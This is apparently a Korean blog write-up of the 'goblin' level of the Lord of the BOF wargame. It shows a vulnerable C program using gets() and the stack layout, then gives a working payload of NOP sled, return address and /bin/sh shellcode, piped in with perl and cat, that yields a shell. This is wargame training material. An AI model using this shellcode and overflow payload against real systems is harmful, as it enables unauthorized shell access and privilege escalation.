LOB 풀면서 작은실수 하나가 큰사단을 일으킨다는걸 정말 다시금 깨닫는것 같습니다
문제의 소스는 다음과 같습니다
[cobolt@localhost cobolt]$ cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
이전 레벨과 비슷하지만 gets 명령을 사용하고 있습니다. gets 명령은 엔터를 치기전까지 버퍼를 받기 때문에,
버퍼오버플로우를 일으킬수 있습니다.
이전 레벨처럼 소스를 추가해주고 컴파일을 하면,
[cobolt@localhost /tmp]$ cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
printf("0x%0x\n",&buffer[25]);
}
[cobolt@localhost /tmp]$ gcc -o goblin goblin.c
/tmp/ccuvxEfd.o: In function `main':
/tmp/ccuvxEfd.o(.text+0xb): the `gets' function is dangerous and should not be used.
이렇게 친절하게 위험하다는 말도 얹어서 컴파일이 됩니다
(이전레벨과 방식이 비슷하기 때문에 RETN 에 들어가는 주소는 알아서 찾을수 있을거라 생각됩니다)
우선 진행을 보면
|buf [16] | SFP | RETN|
다음으로 페이로드를 보면
|NOP [20] | &buffer[25]| NOP[100]| 쉘코드
페이로드는 이전 레벨과 비슷합니다만 커맨드를 때려줄때 조금 주의해야할 부분이 있습니다.
gets 함수에서는 엔터를 치기전까지 버퍼를 채워넣기 때문에 이전레벨처럼 커맨드를 때려주게 되면,
우리가 원하는 쉘을 따올수가 없습니다
그래서 사용한 방법이 파이프를 넣는 방법(|) 인데, 파이프의 사용법은 다음과 같습니다
(명령 1) | (명령 2)
명령1을 뭉탱이로 명령2에 집어넣는다
이런식으로해서 페이로드를 작성해주면
[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20,"\xb1\xf9\xff\xbf","\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)|./goblin
????????????????????깥퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??
것
my-pass
euid = 503
hackers proof
쉘이 따집니다
+)흠 ..gets()에 커맨드 날릴떄 이중으로 감싸주면 왜 안되는거지
'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)Level6.wolfman (0) | 2014.08.11 |
---|---|
(LOB)Level5.orc (0) | 2014.08.11 |
(LOB)Level4.goblin (0) | 2014.08.11 |
(LOB)Level2.gremlin (0) | 2014.08.08 |
(LOB)Level1. gate (0) | 2014.08.07 |